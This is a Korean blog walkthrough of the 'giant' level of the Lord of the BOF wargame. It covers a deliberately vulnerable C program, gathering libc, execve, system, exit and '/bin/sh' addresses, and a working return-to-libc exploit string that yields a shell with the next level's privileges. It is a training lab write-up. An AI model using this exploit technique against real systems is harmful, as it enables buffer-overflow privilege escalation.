LOB bugbear => giant

c0wb3ll ㅣ 2020. 4. 4. 18:14

LOB bugbear -> golem

문제

[bugbear@localhost bugbear]$ cat giant.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
    char buffer[40];
    FILE *fp;
    char *lib_addr, *execve_offset, *execve_addr;
    char *ret;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // gain address of execve
    fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
    fgets(buffer, 255, fp);
    sscanf(buffer, "(%x)", &lib_addr);
    fclose(fp);

    fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
    fgets(buffer, 255, fp);
    sscanf(buffer, "%x", &execve_offset);
    fclose(fp);

    execve_addr = lib_addr + (int)execve_offset;
    // end

    memcpy(&ret, &(argv[1][44]), 4);
    if(ret != execve_addr)
    {
        printf("You must use execve!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}

ret 주소를 execve함수로 주고 쉘을 따는 문제이다.


풀이

나는 execve 함수에 대해 잘 알지 못하기 때문에 어떤 인자가 들어가는지만 알아본다음 execve함수에 실행 인자로 exit를 준 다음 execve함수 ret주소로 system 함수를 호출하여 bin/sh을 인자로 넘겨주고 쉘을 실행시키려 한다.

execve 함수

execve 함수는 첫번째 인자로 실행할 파일 이름, 두번째 인자로 실행했을 때에 넘길 인자, 세번째 인자로 환경변수를 받는다. 이때 환경변수는 NULL이어도 된다. 대충 고급지게 정리된 글을 가져오자면

execve()
int execve (const char *filename, char *const argv [], char *const envp[]);

이렇다. 참고로 unistd.h 헤더 파일에 속해있다고 한다.

다시 본론으로 들어와서 우리가 알아야 할 정보는 5가지가 있다.

  1. execve() 주소
  2. exit() 주소
  3. system() 주소
  4. /bin/sh 문자열 주소
  5. NULL 주소
// gain address of execve
    fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
    fgets(buffer, 255, fp);
    sscanf(buffer, "(%x)", &lib_addr);
    fclose(fp);

이 소스 코드를 보면 위 명령어를 사용하여 라이브러리의 주소를 구하고

fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
    fgets(buffer, 255, fp);
    sscanf(buffer, "%x", &execve_offset);
    fclose(fp);

이 명령어를 이용하여 execve()의 주소를 구할 수 있다고 힌트를 주는 소스코드이다.

[bugbear@localhost bugbear]$ ldd giant | /bin/grep libc
    libc.so.6 => /lib/libc.so.6 (0x40018000)

라이브러리 주소는 0x40018000이다.

[bugbear@localhost bugbear]$ nm /lib/libc.so.6 | /bin/grep __execve
00091d48 t __execve

execve()의 주소는 00091d48이다. 이 주소를 라이브러리 주소에 더하면 실제 함수가 호출되었을 때 주소를 알 수 있다.

0x40018000 + 0x91d48 = 0x400a9d48

execve()함수의 주소는 0x400a9d48이다.

음... 근데 이렇게 구해도 되지만 gdb를 이용해 구하는게 더 편한것 같다.

(gdb) p execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>
(gdb) 

아무데나 bp를 걸고 실행시킨다음 위 명령어를 통해 함수의 주소를 구할 수 있다. (계산기가 필요가 읎다.)

그럼 이 방식으로 계속 필요한 정보를 찾아보자.

(gdb) p execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>
(gdb) p system
$2 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p exit
$3 = {void (int)} 0x400391e0 <exit>
(gdb)

다음과 같이 함수들의 주소를 구할 수 있었다.

이제 "/bin/sh"문자열을 찾아보자.

[bugbear@localhost bugbear]$ objdump -s /lib/libc.so.6 | grep /bin
 e3ff0 20300073 68002d63 002f6269 6e2f7368   0.sh.-c./bin/sh

/bin/sh\x00 은 e3ff9에 있다. 이제 라이브러리 주소에서 이 주소를 더해주자.

0x40018000 + 0xe3ff9 = 0x400fbff9

/bin/sh 문자열의 주소는 0x400fbff9이다.

그럼 이제 NULL 영역을 찾아야 하는데

0xbfffffb1:     "5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"
0xbfffffe4:     "/home/bugbear/tmp/giant"
0xbffffffc:     ""
0xbffffffd:     ""
0xbffffffe:     ""
0xbfffffff:     ""

x/1000s $ebp 를 이용하여 쭉 내리다가 0xbffffffc에서부터 null인것을 확인하여 이곳으로 주기로 하였다. 그럼 정보를 종합해보자.

execve() address : 0x400a9d48

system() address : 0x40058ae0

exit() address : 0x400391e0

"/bin/sh" address : 0x400fbff9

NULL address : 0xbffffffc

이제 익스코드를 짜보자.

[bugbear@localhost bugbear]$  ./giant "`python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'`"
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDH?
@?@?@廈@?
bash$ id    
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
bash$ 

문제푸는데 몇일을 날렸다 ㅎ;

[bugbear@localhost bugbear]$  ./giant `python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'` 
You must use execve!

평소와 같이 위처럼 익스코드를 짯는데 절대 안되었다. 아무리봐도 맞는것 같아서 다른 블로그를 참조해도 다른게 없었다..... 그런데 그건 내가 자세히 보지 않아서 그랬고 그래도 푼 사람들은 존재하니 계속 풀면서 분석해보다가 execve함수가 제대로 들어가지 않는 오류만 나는 것을 확인하고 저 주소를 확인해보자. 400a9d48 이 아니라 0a 가 계속 00으로 들어가는 오류가 있다는 것을 확인하고 다른 사람들은 어떻게 푼거지? 하고 몇일동안 노가다 뛰다가 앞에 ""가 하나 더 존재하는 것을 보고 따라했더니 풀렸다...^^;